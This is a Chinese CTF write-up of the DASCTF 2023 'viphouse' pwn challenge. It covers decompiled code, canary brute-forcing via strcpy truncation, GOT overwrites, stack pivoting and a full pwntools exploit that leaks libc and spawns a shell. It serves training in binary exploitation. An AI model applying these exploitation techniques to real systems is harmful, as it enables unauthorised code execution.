DASCTF 2023 & 0X401七月暑期挑战赛——— 解析viphouse
DASCTF 2023 & 0X401七月暑期挑战赛——— 解析viphouse
保护策略
静态分析
main
主函数在while循环提供了一个菜单。
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
char nptr[10]; // [rsp+Eh] [rbp-12h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
set_randnum();
print_string(a1, a2);
while ( 1 )
{
menu();
__isoc99_scanf("%9s", nptr);
switch ( atoi(nptr) )
{
case 1:
if ( login_flag )
{
puts("You are already logged in.");
}
else
{
login();
if ( login_flag )
puts("Logged in successfully.");
else
puts("Login failed. Please try again.");
}
continue;
case 2:
if ( !login_flag )
goto LABEL_16;
puts("Executing fmt function...");
break;
case 3:
if ( !login_flag )
goto LABEL_16;
puts("Executing uaf function...");
uaf_function();
break;
case 4:
if ( login_flag )
{
puts("Executing canary function...");
canary_function();
}
else
{
LABEL_16:
puts("Please log in first.");
}
break;
case 5:
if ( login_flag )
logout();
else
puts("You are not logged in.");
break;
default:
puts("Invalid option. Please try again.");
break;
}
}
}
set_randnum
这个函数的主要作用是打开生成随机数的文件,并向变量src
中读入8字节的随机数。
void set_randnum()
{
unsigned int v0; // eax
int fd; // [rsp+Ch] [rbp-4h]
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
v0 = time(0LL);
srand(v0);
dword_404110 = rand() % 256;
fd = open("/dev/random", 0);
if ( fd >= 0 )
{
read(fd, src, 8uLL);
close(fd);
}
else
{
perror("Failed to open /dev/random");
}
}
print_string
这个函数打印一些欢迎语。
int sub_401602()
{
puts("__ _____ ____ _ _ ___ _ _ ____ _____ ");
puts("\\ \\ / /_ _| _ \\ | | | |/ _ \\| | | / ___|| ____|");
puts(" \\ \\ / / | || |_) |____| |_| | | | | | | \\___ \\| _| ");
puts(" \\ V / | || __/_____| _ | |_| | |_| |___) | |___ ");
puts(" \\_/ |___|_| |_| |_|\\___/ \\___/|____/|_____|");
putchar(10);
puts("Welcome to vip-house!");
return puts("HAVE FUN!!!!");
}
menu
这个函数将程序提供的一些选项打印出来。
int sub_401680()
{
puts("1. login in");
puts("2. fmt");
puts("3. uaf");
puts("4. canary");
puts("5. login out");
return printf("Choose an option: ");
}
login in
这个函数提供了一个登录功能,允许用户输入用户名和密码,在输入密码的地方存在一个栈溢出,可以溢出0x20
字节,登录成功后会设置一个标志位为1
,在此重命名为login_flag
,如果是以admin
登录的,会再设置一个标志位为1
,不妨重命名为admin_flag
。在进入所有菜单里的函数前会通过login_flag
检查登陆状态,未登录状态下必须先登录,不可重复登录,登陆后可使用其他函数。
unsigned __int64 login()
{
char s[100]; // [rsp+0h] [rbp-2A0h] BYREF
int v2; // [rsp+64h] [rbp-23Ch] BYREF
char v3[64]; // [rsp+258h] [rbp-48h] BYREF
unsigned __int64 v4; // [rsp+298h] [rbp-8h]
v4 = __readfsqword(0x28u);
memset(&v2, 0, 0x1F4uLL);
memset(v3, 0, sizeof(v3));
memset(s, 0, sizeof(s));
printf("Please enter your username: ");
sub_4016EA(s, 99LL);
printf("Please enter your password: ");
sub_4016EA(v3, 104LL);
if ( !strcmp(s, "admin") && !strcmp(v3, "root") )
{
puts("Welcome, ADMIN~");
dword_404118 = 1;
}
login_flag = 1;
return v4 - __readfsqword(0x28u);
}
uaf
这个函数提供了一个简单的堆块管理程序,仅有add
和free
功能。add
函数申请一个固定大小的堆块,并允许用户向其中写入8
字节数据。free
只是单纯的释放堆块,没有进行指针置空操作存在uaf
。
unsigned __int64 sub_401882()
{
int v1; // [rsp+0h] [rbp-10h] BYREF
unsigned int v2; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
v2 = 0;
while ( 1 )
{
puts("1. Add Note");
puts("2. Delete Note");
puts("3. Exit");
printf("Choice: ");
__isoc99_scanf("%d", &v1);
getchar();
if ( v1 == 3 )
break;
if ( v1 > 3 )
goto LABEL_10;
if ( v1 == 1 )
{
v2 = add(v2);
}
else if ( v1 == 2 )
{
v2 = free_0(v2);
}
else
{
LABEL_10:
puts("Invalid choice.");
}
}
puts("Goodbye!");
return v3 - __readfsqword(0x28u);
}
canary
这个函数允许用户输入最多十六字节的数据,并拿它和最开始的随机数进行比较,如果相同则会进入存在格式化字符串漏洞的函数泄露出canary
。
unsigned __int64 canary_function()
{
char s[8]; // [rsp+0h] [rbp-30h] BYREF
char v2[16]; // [rsp+8h] [rbp-28h] BYREF
int i; // [rsp+18h] [rbp-18h]
unsigned __int64 v4; // [rsp+28h] [rbp-8h]
v4 = __readfsqword(0x28u);
memset(s, 0, sizeof(s));
memset(v2, 0, sizeof(v2));
strcpy(s, src);
puts("Please input the number you guess: ");
sub_4016EA(v2, 16LL);
for ( i = 0; i <= 7; ++i )
{
if ( v2[i] != s[i] )
{
printf("Wrong input: %s\n", v2);
puts("You can't do anything!");
return v4 - __readfsqword(0x28u);
}
}
if ( dword_404118 )
{
printf("I'll give you a gift!");
sub_4015A7();
}
return v4 - __readfsqword(0x28u);
}
login out
这个函数进行标志位置0
操作,这样就可以再次进入存在栈溢出的login in
函数了。
int logout()
{
login_flag = 0;
return puts("Logged out successfully.");
}
利用思路
这道题出得好有水平(应该很费脑子),以至于我看着write up
复现都很费劲。😭😭
这道题首先肯定是要想办法泄露出canary
的,由于程序没给后门函数,自然的能想到打ret2libc
,(关键是我不知道咋泄露libc
)。
泄露canary
这个程序让我们猜测的随机数最初是从/dev/random
读入到变量src
的,
最关键的是还使用了strcpy
函数把src
复制到了变量s
中,拿用户输入的数字和变量s
进行比较。
strcpy
函数是存在\0
截断的,而随机数嘛,不论是几都是有可能的,它的单字节是0
的概率有1/256
。如果src
中的随机数的低字节是0
的话,在通过strcpy
进行复制时就会发生\0
截断,此时变量s
的值就是\0\0\0\0\0\0\0\0
,所以泄露canary的方法就是爆破,即多次运行程序来猜测随机数为0
。
泄露libc
正常情况下我们可以通过rop
调用一个printf
,将其参数设置为got
表地址来泄露libc
,但是很不幸,这个程序中只存在一个pop rbp
的指令,此路不通。
好了,接下来要看着大佬的write up
来分析了。😵😵既然没有pop rdi
指令,那就看看有什么,能利用什么。现在已经可以控制执行流了,大佬想到的方法是利用程序中存在printf
的函数的部分指令,去更改printf
函数得到的参数地址为got
表地址(因为printf
的参数在程序中是通过rbp
加偏移得到的)。当然了,不是通过修改偏移去达到目的,因为偏移是固定的,而是通过栈迁移,合理布局栈中数据来控制printf
函数的参数为got
表地址。
解析exp
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
from tools import *
context(arch='amd64', os='linux')
#爆破随机数获取canary
while(True):
sh = process('./viphouse')
sh.sendlineafter(b': ', b'1')
sh.sendlineafter(b': ', b'admin\0')
sh.sendlineafter(b': ', b'root\0')
sh.sendlineafter(b': ', b'4')
sh.sendafter(b': \n', b'\x00' * 0x10)
result = sh.recvuntil(b'\n')
if b'give you a gif' in result:
break
else:
sh.close()
debug(sh,0x00000000401982,0x00000000004018AE,0x00000000004014E8)
context.log_level='debug'
canary = int(result.split(b'!')[1], 16)
log_addr("canary")
#劫持执行流至login +15的位置
print_info("即将第1次login")
sh.sendlineafter(b': ', b'5')
sh.sendlineafter(b': ', b'1')
sh.sendlineafter(b': ', b'admin\0')
sh.sendlineafter(b': ', cyclic(64) + p64(canary) + flat([
0x404128+0x2a0, #rbp,
0x401991, #retaddr login+15
]))
#p64(0x0000000000404048)) #printf_got
print_info("即将第2次login,第一次返回地址被覆盖为add的后半部分,写入note的ptr是通过偏移在栈中寻找的,这里直接输入到了bss段上放的printf@got,\n第二个返回地址被覆盖为login继续控制执行流")
#在输入usr的地方写入printf_got
sh.sendlineafter(b': ', p64(0x0000000000404048)) #printf_got
#在输入passwd的地方劫持执行流为add note,利用向堆块写入8字节的机会去篡改print_got为puts_plt
#控制执行完add note函数后的返回地址为login+15
sh.sendafter(b': ', cyclic(64) + p64(canary) + flat([
0x4043d8, #rbp
0x4017F2, #retaddr add note
0x404f00, #rbp
0x401991, #retaddr login+15
])[:99])
#add note
print_info("即将第1次add")
#向printf_got写入puts@plt
sh.send(p64(0x4011B0)) #puts@plt
#继续控制返回地址为login+15
print_info("即将第3次login")
sh.sendlineafter(b': ', b'admin\0')
sh.sendlineafter(b': ', cyclic(64) + p64(canary) + flat([
0x404128+0x2a0, #rbp
0x401991, #retaddr login+15
]))
#在输入usr的地方输入__stack_chk_fail@got_got
print_info("即将第4次login")
sh.sendlineafter(b': ', p64(0x404038)) #__stack_chk_fail@got_got
#在输入passwd的地方继续控制返回地址为add note,控制add note的返回地址为login+15
sh.sendafter(b': ', cyclic(64) + p64(canary) + flat([
0x4043d8, #rbp
0x4017F2, #retaddr
0x404f00, #rbp
0x401991, #retaddr login+15
])[:99])
print_info("即将第2次add")
#向__stack_chk_fail@got_got输入pop rbp ret的地址
sh.send(p64(0x000000000040139d))
#在输入usr的地方布置ropchain,泄露libc
print_info("即将第5次login,布置ROPchain")
sh.sendlineafter(b': ', flat([
0x404060+0xe, #srand@got
0x4015D0, #存在格式化字符串漏洞函数的部分指令
0x401982, #login
]))
#在输入passwd的地方继续控制返回地址为add note,控制add note的返回地址为login+15
sh.sendlineafter(b': ', cyclic(64) + p64(canary) + flat([
0x404c60, #rbp ropchain的地址
0x000000000040147b, #retaddr==leave ret 栈迁移
]))
sh.recvuntil(b'\n')
libc_addr = u64(sh.recvn(6) + b'\0\0') - 0x114980 #read_got
log_addr("libc_addr")
sh.sendlineafter(b': ', flat([
0,
0x000000000040101a, #ret
libc_addr + 0x000000000002a3e5, #pop_rdi_ret
libc_addr + 0x1d8698, #/bin/sh
libc_addr + 0x50d60, #system
]))
sh.sendlineafter(b': ', cyclic(64) + p64(canary) + flat([
0x4049d0, #ropchain
0x000000000040147b, #leave ret
])[:99])
sh.sendline(b'cat flag')
sh.sendline(b'cat flag.txt')
sh.sendline(b'cat /flag')
sh.sendline(b'cat /flag.txt')
sh.interactive()
exp中的利用步骤
-
改
printf
函数的got
表为puts
函数的plt
表 -
改
__stack_chk_fail
的got
表为pop rbp ret
-
布置
rop
链(跳转至可以控制printf的参数为got表的指令部分,泄露出libc
),栈迁移至rop
链去执行。 -
布置
rop
链(调用system
(/bin/sh
)),栈迁移至rop
链去执行
几个疑问
1、为什么要改printf
函数的got
表为puts
函数的plt
表?
为了通过布局栈中数据去修改printf
函数的参数为got
的地址,必须将栈迁移至数据段0x404128+0x2a0
,而在正常执行printf
函数时,其内部会调用__vfprintf_internal
,这个函数会开辟0x538
的栈帧,这使得rsp
从数据段0x404300
被抬高(向低地址增长)到了0x403d98
,并且之后会向栈里写入数据,然而0x403d98
是不可写的,这会使得程序崩溃。
2、为什么要改__stack_chk_fail
的got
表为pop rbp ret
?
在控制printf
的参数为got
表去泄露libc
时,程序指令中rdi
是取自rbp-0xe
的位置,这个地方一定要被布局为一个got
表地址,这意味着这次无法在rbp-0x8
的位置布置canary
了,然而这部分指令执行完后程序仍会去检查canary
是否被修改,这时就会触发__stack_chk_fail
,所以修改__stack_chk_fail
的got
表是十分必要的。把其篡改为pop rbp ret
也不会对执行流产生很大的影响,最坏的情况无非就是垫一个垃圾数据。
总结与反思
- 我习惯性得认为在构造
rop
链时取一个函数的部分指令来用会导致程序栈帧数据不匹配而是程序崩溃,所以在解题时也很少去这样想,但是这个题确实颠覆了我的认知,需要好好反思。 - 在分析一道一眼看不出思路的题时我总觉得很有一种闭塞感,我经常是去想一些之前见过的手法,没有头绪就大概路会归结为这道题应该很难或者考察了我的知识盲区,我一定做不出来。比如这道题泄露
libc
,我回去想构造ropchain
=>pop rdi ret ; read@got; printf@got
,如果没有pop rdi ret
无法用一些之前的老办法,我大概率会放弃该题,或者很消极地看题,我认为我下次应该尝试这样的思考方式,“没有办法直接用指令片段去控制printf
地参数泄露libc
,那么能不能研究一下程序中现有地printf
函数地参数是怎么来的,有没有什么可利用的点。”总之,就是多想想对于某道题我有什么,有什么已知的可利用的点,有什么未知的可利用的点,应该怎么去挖掘这样的点,而不是大部分时间去想我没有什么,不可利用什么。 - 泄露
canary
的又一种可爆破的情景。
参考链接
DASCTF 2023 & 0X401七月暑期挑战赛 Writeup - 星盟安全团队 (xmcve.com)
题目附件
https://pan.baidu.com/s/1E5l2N3qiy_UA9-gZQf3IJw?pwd=1234